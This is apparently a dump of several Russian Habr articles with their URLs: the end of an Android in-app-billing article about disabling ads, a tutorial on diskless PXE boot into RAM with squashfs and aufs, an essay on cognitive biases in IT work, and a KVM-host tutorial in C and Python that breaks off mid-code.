public String convertTime(long time) {
Date date = new Date(time);
Format format = new SimpleDateFormat("dd MMM yyyy @ HH:mm:ss");
return format.format(date);
}
// ==========================================================
// [START IN APP BILLING]
BillingProcessor.IBillingHandler bpHandler = new BillingProcessor.IBillingHandler() {
@Override
public void onProductPurchased(@NonNull String productId, @Nullable TransactionDetails details) {
// Called when requested PRODUCT ID was successfully purchased
// Вызывается, когда запрашиваемый PRODUCT ID был успешно куплен
if (bp.isPurchased(productId)) {
// сохраняем новое состояние рекламы "отключена" и устанавливаем "Выключено" для кнопки-переключателя
setAdsDisable();
tbDisableAds.setChecked(false);
// перезапускаем приложение
restartDialog();
} else {
// иначе устанавливаем "Включено"
tbDisableAds.setChecked(true);
}
}
@Override
public void onPurchaseHistoryRestored() {
//Вызывается, когда история покупки была восстановлена,
// и список всех принадлежащих идентификаторы продуктов был загружен из Google Play
}
@Override
public void onBillingError(int errorCode, @Nullable Throwable error) {
// Вызывается, когда появляется ошибка. См. константы класса
// для получения более подробной информации
}
@Override
public void onBillingInitialized() {
// Вызывается, когда bp был инициализирован и он готов приобрести
readyToPurchase = true;
}
};
// [START IN APP BILLING]
// ==========================================================
// метод сохранения отключенного состояния рекламы
private void setAdsDisable() {
prefManager.setAdsDisabled();
}
// диалог перезапуска приложения
// [START restartDialog]
private void restartDialog() {
AlertDialog.Builder builder;
View alertLayout = View.inflate(mContext, R.layout.dialog_restart, null);
if (prefManager.getAppTheme() == 0) {
builder = new AlertDialog.Builder(getActivity(), R.style.AppThemeDialogStyleLight);
} else {
builder = new AlertDialog.Builder(getActivity(), R.style.AppThemeDialogStyleDark);
}
builder.setTitle(getActivity().getString(R.string.msg_notification_Title));
builder.setView(alertLayout);
builder.setPositiveButton(getActivity().getString(R.string.ans_restart),
new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
restartApp();
}
});
builder.show();
}
// [END restartDialog]
// метод перезапуска приложения
// [START restartApp]
private void restartApp() {
Intent i = getActivity().getPackageManager().getLaunchIntentForPackage(getActivity().getPackageName());
if (i != null) {
i.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
getActivity().startActivity(i);
}
}
// [END restartApp]
// Snackbar с уведомлением, что рекламу уже отключена. Если пользователь снова кликнет по кнопке отключения рекламы
private void showSnackbar() {
Snackbar.make(getActivity().getWindow().getDecorView().getRootView(),
getActivity().getResources().getString(R.string.advertising_is_already_disabled),
Snackbar.LENGTH_SHORT).show();
}
}
```
Класс работы с баннером AdMob. Ничего сложного, публикую для ознакомления. Хотя его же и на StackOverFlow ни раз выкладывал
```
public class AdMobAds {
public static void disableBanner(final Activity activity, boolean disableAds) {
final View adsContainer = activity.findViewById(R.id.container);
final AdView adView = (AdView) activity.findViewById(R.id.adView);
if (disableAds) {
adView.setVisibility(View.GONE);
adsContainer.setPadding(0, 0, 0, 0);
} else {
AdRequest adRequest;
if (BuildConfig.DEBUG) {
adRequest = new AdRequest.Builder()
.addTestDevice(DeviceHash.getHtcDeviceHash())
.build();
} else {
adRequest = new AdRequest.Builder()
.build();
}
adView.loadAd(adRequest);
adView.setAdListener(new AdListener() {
@Override
public void onAdFailedToLoad(int errorCode) {
MyAppLogs.show("[bottom-banner] >> onAdFailedToLoad: реклама не загружена\terrorCode = " + errorCode + ".");
super.onAdFailedToLoad(errorCode);
}
@Override
public void onAdLoaded() {
super.onAdLoaded();
MyAppLogs.show("[bottom-banner] >> onAdLoaded");
if (adView.getVisibility() == View.GONE) {
adView.setVisibility(View.VISIBLE);
}
View adsContainer = activity.findViewById(R.id.container);
adsContainer.setPadding(adsContainer.getPaddingLeft(),
adsContainer.getPaddingTop(),
adsContainer.getPaddingRight(),
adView.getHeight() + 8);
}
});
}
}
}
```
[[вернуться к содержанию]](#main)
#### Заключение
Вот и все. Суть статьи — поделиться с обществом своей идеей и ее реализацией. А также получить приглашение на Хабрахабр, если кому-то понравится то, чем я поделился. Буду рад и благодарен за ваше мнение в вопросах доработки кода и/или идеи. Если понадобится дополнительное пояснение — пишите, я в кратчайшие сроки внесу правки в статью или дам ответ в комментариях.
Ссылку на приложение по понятным причинам не публикую в открытом доступе. Этика есть этика! Кому нужно — дам в лс.
Статистика AdMob пока еще сырая, с момента внедрения данной альтернативы прошло всего ~2 недели. Не все пользователи обновились. Но точно есть те, кто пользуется таким способом отключения баннера внизу.
**UPDATE: Ссылка на статью с результатами** [ИТОГ 3-х месяцев: Альтернатива платному отключению рекламы в бесплатном приложении Android](https://habr.com/post/359124)
Благодарю всех, кто дочитал статью до конца! | https://habr.com/ru/post/349832/ | null | ru | null |
# Бездисковая загрузка по сети и жизнь после нее
#### История
Однажды к нам пришли (ну, не сами...) серверы с 14 хардами по 2Тб. Избавившись от аппаратного рейда (зачем — вопрос отдельный), мы задумались о том, что неплохо бы сделать для них загрузку по сети, дабы избавиться от возни с разделами. Диски предполагалось экспортировать по iSCSI, и не хотелось выделять какие-то диски на Особенные Системные Диски, а какие-то на всё остальное. Таким образом возникла задача сделать загрузку по сети с размещением корневого каталога в оперативной памяти.
#### Теория
По сути, для того, чтобы система загрузилась ей необходимо 3 компонента — ядро, начальное окружение initramfs и корневой каталог, в котором система будет работать.
#### Практика
Все действия проводятся на машине с ubuntu precise.
##### PXE
Для начала настроим PXE. Мануалов на эту тему уйма, поэтому я расскажу только самую суть.
Ставим ваш любимый dhcp сервер, например isc-dhcp-server, который будет раздавать машинкам ip адреса и указывать путь к файлу pxelinux.0, который будет отдавать tftp сервер (tftp-hpa или же atftp).
```
aptitude install isc-dhcp-server tftpd-hpa
```
Пример конфига dhcp сервера. В примере pxe-сервер находится по адресу 10.0.0.1.
```
option domain-name-servers 8.8.8.8;
server-name "pxe";
subnet 10.0.0.0 netmask 255.255.255.0 {
range dynamic-bootp 10.0.0.2 10.0.0.10;
option subnet-mask 255.255.255.0;
option routers 10.0.0.1;
option root-path "10.0.0.1:/var/lib/tftpboot/";
filename "pxelinux.0";
}
```
Запускаем tftp сервер (в ubuntu он имеет init-скрипт, но вполне вероятно, что вам придется запускать его и через inetd/xinetd).
Проверяем работоспособность. Кладем файл в каталог /var/lib/tftpboot и пробуем стянуть его tftp клиентом.
```
tftp 10.0.0.1
tftp> get pxelinux.0
```
В принципе неважно, где вы возьмете файл pxelinux.0, так как он является просто начальным загрузчиком, в который мы передаем то, что надо грузить дальше.
Вы можете сделать красивую менюшку в загрузчике, но сейчас нам это не нужно, поэтому мой pxelinux.cfg/default выглядит так
```
default vesamenu.c32
aprompt 1
timeout 2
label ubuntu 12.04
menu label Ubuntu precise
kernel vmlinuz
append initrd=initrd.img boot=ram rooturl=http://10.0.0.1/rootfs.squashfs ip=dhcp
```
##### rootfs
Образ rootfs собираем через debootstrap, чрутимся в него и ставим необходимые программы. Настраиваем сеть, hostname, фаервол и прочее, чем больше сделаем настроек, тем больше будет образ. Главное не забудьте сменить пароль на рута.
```
mkdir -p /mnt/rootfs
debootstrap precise /mnt/rootfs/ http://mirror.yandex.ru/ubuntu/
chroot /mnt/rootfs /bin/bash
aptitude install vim
...
```
С нашим минимальным набором система получилась весом 200Мб.
##### Initramfs
В этом примере мы будем забирать образ корневой фс с веб-сервера, расположенного на нашем сервере сетевой загрузки, то есть на 10.0.0.1. Решение было таким просто потому, что в нашем initramfs была утилита wget. Чтобы не тянуть большой объем данных по сети, мы решили сжать образ. Это можно было бы сделать и обычным tar, но можно попробовать squashfs, тем более, что обычно в initramfs tar не встроен, с другой стороны, ничего не мешает его туда добавить.
**Squashfs**
[Squashfs](http://ru.wikipedia.org/wiki/Squashfs) — это сжимающая файловая система, которая включена в ядро с версии 2.6.29. С ее помощью можно заархивировать каталог, примонтировать на loop устройство и читать с него, для записи же необходимо провести процедуру добавления файлов в архив. Так как при обращении к squashfs, вы читаете из архива, то это дает дополнительную нагрузку на cpu.
```
mksquashfs /mnt/rootfs/ rootfs.squashfs -noappend -always-use-fragments
du -hs rootfs.squashfs
92M rootfs.squashfs
```
Для более эфферктивного сжатия вы можете использовать опцию -comp, чтобы установить тип сжатия, по умолчанию используется gzip.
Далее надо научить init из initramfs забирать образ корня и помещать его в оперативную память.
**init** в initramfs — это скрипт на sh, который производит разбор опций из cmdline, монтирует фс, делает switch\_root и запускает гланый init-процесс системы.
Воспользуемся этим и допишем свои опции для cmdline. Напишем скрипт ram, который будет вызываться при значении опции boot=ram.
vim /usr/share/initramfs-tools/scripts/ram
```
#!/bin/bash
retry_nr=0
do_rammount()
{
log_begin_msg "Configuring networking"
configure_networking
log_end_msg
log_begin_msg "Downloading rootfs image"
mkdir -p /tmp/squashfs
wget ${rooturl} -O /tmp/squashfs/rootfs.squashfs
log_end_msg
log_begin_msg "Mounting rootfs image to /mnt/squashfs"
mkdir -p /mnt/squashfs
mount -t squashfs -o loop /tmp/squashfs/rootfs.squashfs /mnt/squashfs
log_end_msg
log_begin_msg "Mounting tmpfs and copy rootfs image"
mkdir -p ${rootmnt}
mount -t tmpfs -o size=1G none ${rootmnt}
cp -r -v /mnt/squashfs/* ${rootmnt} || exit 2
log_end_msg
log_begin_msg "Umount squashfs"
umount /mnt/squashfs || exit 2
log_end_msg
}
mountroot()
{
for x in $(cat /proc/cmdline); do
case $x in
rooturl=*)
export rooturl=${x#rooturl=}
;;
esac
done
log_begin_msg "Loading module squashfs"
modprobe squashfs
log_end_msg # For DHCP
modprobe af_packet
wait_for_udev 10
# Default delay is around 180s
delay=${ROOTDELAY:-180}
# loop until rammount succeeds
do_rammount
while [ ${retry_nr} -lt ${delay} ] && [ ! -e ${rootmnt}${init} ]; do
log_begin_msg "Retrying rammount"
/bin/sleep 1
do_rammount
retry_nr=$(( ${retry_nr} + 1 ))
log_end_msg
done
}
```
Через параметр rooturl можно указывать откуда качать образ корневой фс. Для работы со squashfs необходимо подгрузить ее модуль в ядро. Указываем в /etc/initramfs-tools/initramfs.conf BOOT=ram и пересобираем initramfs
```
mkinitramfs -o /var/lib/tftpboot/initrd.img
```
Включаем машинку, на которой будем тестировать, и смотрим на происходящее. После успешной загрузки мы получили бездисковую систему, которая занимает в памяти около 300Мб, при этом мы может писать в нее, но после ребута, система вернется в свое первоначальное состояние.
В это примере, мы использовали squashfs просто для сжатия образа, но почему бы нам не попробовать примонтировать корневой раздел в squashfs и не посмотреть, что получится? Меняем наш скрипт, в функции do\_rammount() оставляем только монтирование squashfs.
```
do_rammount()
{
log_begin_msg "Configuring networking"
configure_networking
log_end_msg
log_begin_msg "Downloading rootfs image"
mkdir -p /tmp/squashfs
wget ${rooturl} -O /tmp/squashfs/rootfs.squashfs
log_end_msg
log_begin_msg "Mounting rootfs image to /mnt/squashfs"
mkdir -p /mnt/squashfs
mount -t squashfs -o loop /tmp/squashfs/rootfs.squashfs ${rootmnt}
log_end_msg
}
```
Пересобираем initramfs, запускаем, смотрим. Система загружается в режиме ro, но зато занимает в памяти всего около 180Мб.
В каких-то случаях монтирование в режиме ro это хорошо, но нас это не устраивает, но и просто так тратить оперативную память нам тоже не хочется. Выход же был найден при помощи Aufs.
**Aufs**
[Aufs](http://ru.wikipedia.org/wiki/AUFS) позволяет делать каскадно-объединённое монтирование файловых систем — одну в режиме только на чтение, а вторую в rw. Работает она в режиме copy-on-write, то есть все изменения записываются на rw систему и после этого чтение производится с нее же.
Опять переписываем наш скрипт.
В фукнцию mountroot() добавляем
```
log_begin_msg "Loading module aufs"
modprobe aufs
log_end_msg
```
А фукнцию do\_rammount() приводим к следующему виду:
```
do_rammount()
{
log_begin_msg "Configuring networking"
configure_networking
log_end_msg
log_begin_msg "Downloading rootfs image"
mkdir -p /tmp/squashfs
wget ${rooturl} -O /tmp/squashfs/rootfs.squashfs
log_end_msg
log_begin_msg "Mounting rootfs image to /mnt/ro"
mkdir -p /mnt/ro
mount -t squashfs -o loop /tmp/squashfs/rootfs.squashfs /mnt/ro
log_end_msg
log_begin_msg "Mounting tmpfs to /mnt/rw"
mkdir -p /mnt/rw
mount -t tmpfs -o size=1G none /mnt/rw
log_end_msg
log_begin_msg "Mounting aufs to /mnt/aufs"
mkdir -p /mnt/aufs
mount -t aufs -o dirs=/mnt/rw=rw:/mnt/ro=ro aufs /mnt/aufs
log_end_msg
[ -d /mnt/aufs/mnt/ro ] || mkdir -p /mnt/aufs/mnt/ro
[ -d /mnt/aufs/mnt/rw ] || mkdir -p /mnt/aufs/mnt/rw
mount --move /mnt/ro /mnt/aufs/mnt/ro #сдвигаем точку squashfs монтирования в aufs
mount --move /mnt/rw /mnt/aufs/mnt/rw #сдвигаем точку монтирования tmpfs в aufs
mount --move /mnt/aufs ${rootmnt} #сдвигаем точку монтирования aufs в ${rootmnt}
}
```
Пересобираем initramfs, запускаем, смотрим. Система занимает в памяти 181Мб, при этом мы можем менять ее, писать, читать. Все изменения хранятся отдельно в /mnt/rw, а сама система хранится в /mnt/ro.
В результате мы получили систему, которая грузится по сети, занимает небольшой объем в памяти, при этом после каждой перезагрузки пропадают все изменения (поэтому надо заранее собирать все нужные продукты жизнедеятельности системы в надежное место).
Все вышеперечисленные способы имеют право на жизнь. Надеюсь, что эта информация вам пригодится, а мне же будет интересно почитать/послушать ваши комментарии.
Спасибо за внимание.
#### Ссылки
[Ubuntu boot to ram](https://wiki.ubuntu.com/BootToRAM)
[Squashfs home page](http://squashfs.sourceforge.net/)
[PXE](http://www.syslinux.org/wiki/index.php/PXELINUX) | https://habr.com/ru/post/164147/ | null | ru | null |
# Когнитивные искажения с примерами для айтишников
Про когнитивные искажения много пишут и много говорят.
Однако всегда не хватало более чёткого понимания, как именно это влияет на профессиональную деятельность, мою и моих коллег. Какие решения я как тимлид и программист принимаю неправильно. Что мне подправить, на что обратить внимание.
Поэтому я решил взять справочник когнитивных искажений и поискать примеры из реальной IT-жизни по каждому пункту.
Если вам интересно, добро пожаловать под кат.
Ладно, по каждому пункту — это я погорячился, так как я нашел аж 176 видов искажений. Поэтому выберу рандомно лишь некоторые из них.
Эвристика доступности
---------------------
Из Википедии:
> Эвристика доступности — это интуитивный процесс, в котором человек «оценивает частоту или возможность события по лёгкости, с которой примеры или случаи приходят на ум», т. е. легче вспоминаются. Например, человек оценивает степень риска возникновения инфаркта у людей среднего возраста, припоминая подобные случаи среди своих знакомых.
Такое очень часто встречается в мире IT. Например, если ты не знаешь лично ни одного nodejs-программиста, то можешь подумать, что эта технология крайне маргинальна и никому не нужна. И наоборот, nodejs-бекендер, который вращается в кругу своих коллег, будет считать, что "нода" в топе.
Сколько раз хоронили jQuery, Ruby и PHP люди, которые их больше не используют и теперь не общаются в этих кругах? Тем не менее, упомянутые технологии отжирают огромную долю рынка, и это будет продолжаться еще много-много лет.
Это очень вредное искажение, потому что когда человек меняет круг технологий, он зачастую начинает писать статьи, выступать на конференциях; на этих конференциях упоминает, что всё, что он использовал раньше — просто древнее легаси. В итоге тысячи людей считают, что они какие-то изгои, потому что им так сказали со сцены. При том, что они как решали задачи эффективно, так и решают.
Не то, что бы я тут самый умный и учу всех жить. У нас в проектах Каруны вовсю используется kubernetes, и я уже не представляю, как это может быть по-другому — всё остальное легаси же! Но если включить мозг и подумать, то есть куча компаний, которые решают свои проблемы по-другому или в другом масштабе, и им "кубер" обойдется очень дорого.
Систематическая ошибка внимания
-------------------------------
> Систематическая ошибка внимания — это зависимость человеческого восприятия от повторяющихся мыслей. К примеру, люди, которые много размышляют о собственной одежде, чаще обращают внимание и на одежду других людей.
>
> Систематическая ошибка внимания также может влиять на фильтрацию входящей информации. К примеру, пациенты с тревожными расстройствами и хроническим болевым синдромом проявляют большее внимание к информации, которая ассоциируется с их насущными проблемами (например, смотрят на гневные или страдающие выражения лиц соответственно).
В IT это сплошь и рядом. Посмотрите хотя бы код ревью. Один зациклен на нейминге, другой на оптимальности SQL-запросов, третий — на тестах. ~~Олег вообще ставит апрув не глядя, потому что думает о женщинах.~~
Поэтому многие крупные организации вынуждены вводить [формальные правила, включающие чек лист](https://habr.com/ru/post/473308/) для упорядочивания процесса код ревью.
Это также хорошо видно при групповом обсуждении новых сложных задач, затрагивающих много людей. Зачастую идёт перекос: разработчики ставят во главу угла удобство разработки, QA — проверку качества. В таких случаях нужен фасилитатор, обладающий большими полномочиями.
Эффект иллюзии правды
---------------------
> Эффект иллюзии правды (эффект достоверности, эффект правдивости, эффект повторения) — когнитивное искажение, которое выражается в склонности верить в достоверность информации после её многократного восприятия.
>
>
>
> Люди склонны сравнивать новую информацию с уже знакомой. Знакомые утверждения намного легче воспринять и осмыслить, чем те, которые мы слышим впервые. В результате этого у человека создаётся ощущение, что часто повторяемая информация является истинной.
Опять же, на конференциях и в подкастах говорят: kubernetes, kubernetes, kubernetes. И вот вы внезапно находите себя, настраивающего helm-конфиги.
У любой крупной IT-компании есть деврелы, которые льют в уши населению про определённые технологии. В результате эти технологии не становятся лучше или хуже, они становятся, что называется, "на слуху" — и в итоге это всё определяет. Технологию, о которой все говорят, легче продать руководству, команде и всем остальным. А потом при найме — кандидатам.
Эффект знакомства с объектом
----------------------------
> Эффект знакомства с объектом — это психологический феномен выражения симпатии к объекту только на основании имеющегося знакомства с ним.
Казалось бы, язык программирования — это всего лишь инструмент. Но насколько лично его воспринимают люди. Почитайте коменты к любой статье про php, такое ощущение, что люди воспринимают даже умеренную критику языка как оскорбление лучшего друга. Как с этим бороться — не представляю, такие холивары имхо неискоренимы.
Часто бывает, что разработчики неохотно позволяют другим трогать кусок кода, который они долго разрабатывали. А если его отдали другой команде переписать с нуля, то это почти трагедия. Хотя, если задуматься, это не имеет никакого практического смысла — зарплата от этого не зависит.
Эффект авторитета
-----------------
> Тенденция приписывать более высокую оценку мнению авторитетной фигуры (не связанной с его содержанием) и в большей степени зависеть от этого мнения.
Несмотря на то, что у программистов казалось бы развито критическое мышление, и мнение авторитетов постоянно подвергается критике (на том же Хабре), но при этом при выборе очередной библиотеки на Гитхабе мы смотрим лишь на автора и количество звёзд.
Библиотека от Facebook или Google — ну наверно можно брать в работу. Много звёзд — ну точно можно. А потом выясняется, что подход в этих библиотеках был немного странный и заточен под потребности этих компаний. Я не буду сейчас называть конкретные примеры, думаю, вы и сами можете это сделать.
DBA с огромным опытом, человек, который часто помогал вам со сложнейшими вопросами, может однажды посоветовать неудачное решение какой-то проблемы. Но усомниться в нём будет сложно. Порой это даже в голову не приходит — усомниться.
Проклятие знания
----------------
> Проклятие знания — термин, предложенный психологом Робином Хогартом для обозначения психологического феномена, заключающегося в том, что более информированным людям чрезвычайно сложно рассматривать какую-либо проблему с точки зрения менее информированных людей.
Когда хорошо разбираешься в теме, очень сложно объяснить начинающему так, чтобы он понял. Ты будешь сыпать терминами и описывать граничные случаи, которые считаешь важными, при этом не понимая, что человек видит всё это впервые, половину терминов не знает, половину не успел усвоить на глубоком уровне. В этом смысле, когда пишешь статью о новой технологии, нужно начинать с самого простого, чтобы дать контекст. На этом простом можно и остановиться — детали можно вычитать в документации.
Дело, конечно, не только в статьях. В коде тоже самое. Если вы знаете Rust, попробуйте объяснить программисту на скриптовом языке программирования (JS или PHP), что у вас в коде за `Rc>>`. При этом для вас это может быть абсолютно очевидно.
Да бог с ним с Растом, попробуйте объяснить своим детям (или маме), что такое переменная, цикл или функция. Вы будете поражены, насколько сложны эти элементарные концепции для неосведомлённых людей.
Почему возникают когнитивные искажения?
---------------------------------------
Причины разные, но главная причина в том, что человек — это животное.
Например, влияние социума вшито у нас в генах. Дружба, любовь, доминирование/подчинение — всё это оттачивалось в психике человека тысячелетиями в борьбе за выживание. Очень сложно отбросить лишнее и мыслить строго рационально. Если вы думаете, что выше животного мира, представьте, сможете ли вы спокойно рассуждать, испытывая ревность или, например, страх за своих детей.
Ну и, конечно же, сильное влияние на искажения оказывает тот факт, что в каждом человеке работают две системы: автоматическая и мыслительная ("система 1" и "система 2"). В основном мы действуем автоматически; используем навыки, не подключая явную мыслительную деятельность, до тех пор пока не столкнемся с нестандартной ситуацией. Это оправдано природой, потому что мы бы сошли с ума и потратили все ресурсы, если бы анализировали каждый свой поступок в явном виде (а правильно ли я держу руку, когда ем?).
Немаловажным является факт, что даже подключив, наконец, головной мозг, мы не имеем полной информации для принятия решения, а основываемся на своём "опыте", который может быть сформирован довольно хаотически, под влиянием маркетологов, деврелов и прочитанных неудачных книг.
Именитый спикер, всем своим видом показывая, что он гуру (солидная борода, айтишные наклейки на ноуте, умное выражение лица) может втирать вам самым уверенным голосом полнейшую дичь, и эта дичь отложится где-то в вашей серой нейросети для будущих ошибок.
UPDATE: по просьбе [dolovar](https://habr.com/ru/users/dolovar/) хочу также добавить в пост ссылки на [картинку](https://betterhumans.pub/cognitive-bias-cheat-sheet-55a472476b18), [JSON](https://www.dropbox.com/s/8l49rx8ig9i4za3/cognitive-bias-cheat-sheet-ru.json) и [приложение](https://play.google.com/store/apps/details?id=ru.free_coding.biascs) с перечнем искажений. | https://habr.com/ru/post/555270/ | null | ru | null |
# Хост KVM в паре строчек кода. Примеры на C++ и на Python от эксперта Timeweb
> Привет!
>
>
>
> Сегодня публикуем статью о том, как написать хост KVM. Мы увидели ее в блоге [Serge Zaitsev](https://zserge.com/posts/kvm/), перевели и дополнили собственными примерами на Python для тех, кто не работает с языком С++.
**KVM (Kernel-based Virtual Machine)** — это технология виртуализации, которая поставляется с ядром Linux. Другими словами, KVM позволяет запускать несколько виртуальных машин (VM) на одном виртуальном хосте Linux. Виртуальные машины в этом случае называются гостевыми (guests). Если вы когда-нибудь использовали QEMU или VirtualBox на Linux, вы знаете, на что способен KVM.
Но как это работает под капотом?
### IOCTL
KVM предоставляет [API](https://www.kernel.org/doc/Documentation/virtual/kvm/api.txt) через специальный файл устройства — **/dev/kvm**. Запуская устройство, вы обращаетесь к подсистеме KVM, а затем выполняете системные вызовы ioctl для распределения ресурсов и запуска виртуальных машин. Некоторые вызовы ioctl возвращают файловые дескрипторы, которыми также можно управлять с помощью ioctl. И так до бесконечности? На самом деле, нет. В KVM всего несколько уровней API:
* уровень /dev/kvm, используемый для управления всей подсистемой KVM и для создания новых виртуальных машин,
* уровень VM, используемый для управления отдельной виртуальной машиной,
* уровень VCPU, используемый для управления работой одного виртуального процессора (одна виртуальная машина может работать на нескольких виртуальных процессорах) — VCPU.
Кроме того, существуют API для устройств ввода-вывода.
Посмотрим, как это выглядит на практике.
```
// KVM layer
int kvm_fd = open("/dev/kvm", O_RDWR);
int version = ioctl(kvm_fd, KVM_GET_API_VERSION, 0);
printf("KVM version: %d\n", version);
// Create VM
int vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0);
// Create VM Memory
#define RAM_SIZE 0x10000
void *mem = mmap(NULL, RAM_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0);
struct kvm_userspace_memory_region mem = {
.slot = 0,
.guest_phys_addr = 0,
.memory_size = RAM_SIZE,
.userspace_addr = (uintptr_t) mem,
};
ioctl(vm_fd, KVM_SET_USER_MEMORY_REGION, &mem);
// Create VCPU
int vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0);
```
**Пример на Python:**
```
with open('/dev/kvm', 'wb+') as kvm_fd:
# KVM layer
version = ioctl(kvm_fd, KVM_GET_API_VERSION, 0)
if version != 12:
print(f'Unsupported version: {version}')
sys.exit(1)
# Create VM
vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0)
# Create VM Memory
mem = mmap(-1, RAM_SIZE, MAP_PRIVATE | MAP_ANONYMOUS, PROT_READ | PROT_WRITE)
pmem = ctypes.c_uint.from_buffer(mem)
mem_region = UserspaceMemoryRegion(slot=0, flags=0,
guest_phys_addr=0, memory_size=RAM_SIZE,
userspace_addr=ctypes.addressof(pmem))
ioctl(vm_fd, KVM_SET_USER_MEMORY_REGION, mem_region)
# Create VCPU
vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0);
```
На этом этапе мы создали новую виртуальную машину, выделили для нее память и назначили один виртуальный ЦП. Чтобы наша виртуальная машина действительно запускала что-то, нам нужно загрузить образ виртуальной машины и правильно настроить регистры процессора.
### Загрузка виртуальной машины
Это достаточно легко! Просто прочтите файл и скопируйте его содержимое в память виртуальной машины. Конечно, **mmap** тоже неплохой вариант.
```
int bin_fd = open("guest.bin", O_RDONLY);
if (bin_fd < 0) {
fprintf(stderr, "can not open binary file: %d\n", errno);
return 1;
}
char *p = (char *)ram_start;
for (;;) {
int r = read(bin_fd, p, 4096);
if (r <= 0) {
break;
}
p += r;
}
close(bin_fd);
```
**Пример на Python:**
```
# Read guest.bin
guest_bin = load_guestbin('guest.bin')
mem[:len(guest_bin)] = guest_bin
```
Предполагается, что **guest.bin** содержит валидный байт-код для текущей архитектуры ЦП, потому что KVM не интерпретирует инструкции ЦП одну за другой, как это делали старые виртуальные машины. KVM отдает вычисления настоящему ЦП и только перехватывает ввод-вывод. Вот почему современные виртуальные машины работают с высокой производительностью, близкой к «голому железу», если только вы не выполняете операции с большим количеством ввода-вывода (I/O heavy operations).
Вот крошечное ядро гостевой виртуальной машины, которое мы попробуем запустить в первую очередь:
`#
# Build it:
#
# as -32 guest.S -o guest.o
# ld -m elf_i386 --oformat binary -N -e _start -Ttext 0x10000 -o guest guest.o
#
.globl _start
.code16
_start:
xorw %ax, %ax
loop:
out %ax, $0x10
inc %ax
jmp loop`
Если вы не знакомы с ассемблером, то пример выше — это крошечный 16-разрядный исполняемый файл, который увеличивает регистр в цикле и выводит значение в порт 0x10.
Мы сознательно скомпилировали его как архаичное 16-битное приложение, потому что запускаемый виртуальный процессор KVM может работать в нескольких режимах, как настоящий процессор x86. Самый простой режим — это «реальный» режим (real mode), который использовался для запуска 16-битного кода с прошлого века. Реальный режим отличается адресацией памяти, она прямая вместо использования дескрипторных таблиц — было бы проще инициализировать наш регистр для реального режима:
```
struct kvm_sregs sregs;
ioctl(vcpu_fd, KVM_GET_SREGS, &sregs);
// Initialize selector and base with zeros
sregs.cs.selector = sregs.cs.base = sregs.ss.selector = sregs.ss.base = sregs.ds.selector = sregs.ds.base = sregs.es.selector = sregs.es.base = sregs.fs.selector = sregs.fs.base = sregs.gs.selector = 0;
// Save special registers
ioctl(vcpu_fd, KVM_SET_SREGS, &sregs);
// Initialize and save normal registers
struct kvm_regs regs;
regs.rflags = 2; // bit 1 must always be set to 1 in EFLAGS and RFLAGS
regs.rip = 0; // our code runs from address 0
ioctl(vcpu_fd, KVM_SET_REGS, ®s);
```
**Пример на Python:**
```
sregs = Sregs()
ioctl(vcpu_fd, KVM_GET_SREGS, sregs)
# Initialize selector and base with zeros
sregs.cs.selector = sregs.cs.base = sregs.ss.selector = sregs.ss.base = sregs.ds.selector = sregs.ds.base = sregs.es.selector = sregs.es.base = sregs.fs.selector = sregs.fs.base = sregs.gs.selector = 0
# Save special registers
ioctl(vcpu_fd, KVM_SET_SREGS, sregs)
# Initialize and save normal registers
regs = Regs()
regs.rflags = 2 # bit 1 must always be set to 1 in EFLAGS and RFLAGS
regs.rip = 0 # our code runs from address 0
ioctl(vcpu_fd, KVM_SET_REGS, regs)
```
### Запуск
Код загружен, регистры готовы. Приступим? Чтобы запустить виртуальную машину, нам нужно получить указатель на «состояние выполнения» (run state) для каждого виртуального ЦП, а затем войти в цикл, в котором виртуальная машина будет работать до тех пор, пока она не будет прервана операциями ввода-вывода или другими операциями, где управление будет передано обратно хосту.
```
int runsz = ioctl(kvm_fd, KVM_GET_VCPU_MMAP_SIZE, 0);
struct kvm_run *run = (struct kvm_run *) mmap(NULL, runsz, PROT_READ | PROT_WRITE, MAP_SHARED, vcpu_fd, 0);
for (;;) {
ioctl(vcpu_fd, KVM_RUN, 0);
switch (run->exit_reason) {
case KVM_EXIT_IO:
printf("IO port: %x, data: %x\n", run->io.port, *(int *)((char *)(run) + run->io.data_offset));
break;
case KVM_EXIT_SHUTDOWN:
return;
}
}
```
**Пример на Python:**
```
runsz = ioctl(kvm_fd, KVM_GET_VCPU_MMAP_SIZE, 0)
run_buf = mmap(vcpu_fd, runsz, MAP_SHARED, PROT_READ | PROT_WRITE)
run = Run.from_buffer(run_buf)
try:
while True:
ret = ioctl(vcpu_fd, KVM_RUN, 0)
if ret < 0:
print('KVM_RUN failed')
return
if run.exit_reason == KVM_EXIT_IO:
print(f'IO port: {run.io.port}, data: {run_buf[run.io.data_offset]}')
elif run.exit_reason == KVM_EXIT_SHUTDOWN:
return
time.sleep(1)
except KeyboardInterrupt:
pass
```
Теперь, если мы запустим приложение, мы увидим:
`IO port: 10, data: 0
IO port: 10, data: 1
IO port: 10, data: 2
IO port: 10, data: 3
IO port: 10, data: 4
...`
Работает! Полные исходные коды доступны по следующему [адресу](https://gist.github.com/zserge/d68683f17c68709818f8baab0ded2d15) (если вы заметили ошибку, комментарии приветствуются!).
### Вы называете это ядром?
Скорее всего, всё это не очень впечатляет. Как насчет того, чтобы вместо этого запустить ядро Linux?
Начало будет таким же: откройте **/dev/kvm**, создайте виртуальную машину и т. д. Однако нам понадобится еще несколько вызовов ioctl на уровне виртуальной машины, чтобы добавить периодический интервальный таймер, инициализировать TSS (требуется для чипов Intel) и добавить контроллер прерываний:
```
ioctl(vm_fd, KVM_SET_TSS_ADDR, 0xffffd000);
uint64_t map_addr = 0xffffc000;
ioctl(vm_fd, KVM_SET_IDENTITY_MAP_ADDR, ↦_addr);
ioctl(vm_fd, KVM_CREATE_IRQCHIP, 0);
struct kvm_pit_config pit = { .flags = 0 };
ioctl(vm_fd, KVM_CREATE_PIT2, &pit);
```
Также нам нужно будет изменить способ инициализации регистров. Ядру Linux требуется защищенный режим, поэтому мы включаем его во флагах регистра и инициализируем базу, селектор, степень детализации для каждого специального регистра:
```
sregs.cs.base = 0;
sregs.cs.limit = ~0;
sregs.cs.g = 1;
sregs.ds.base = 0;
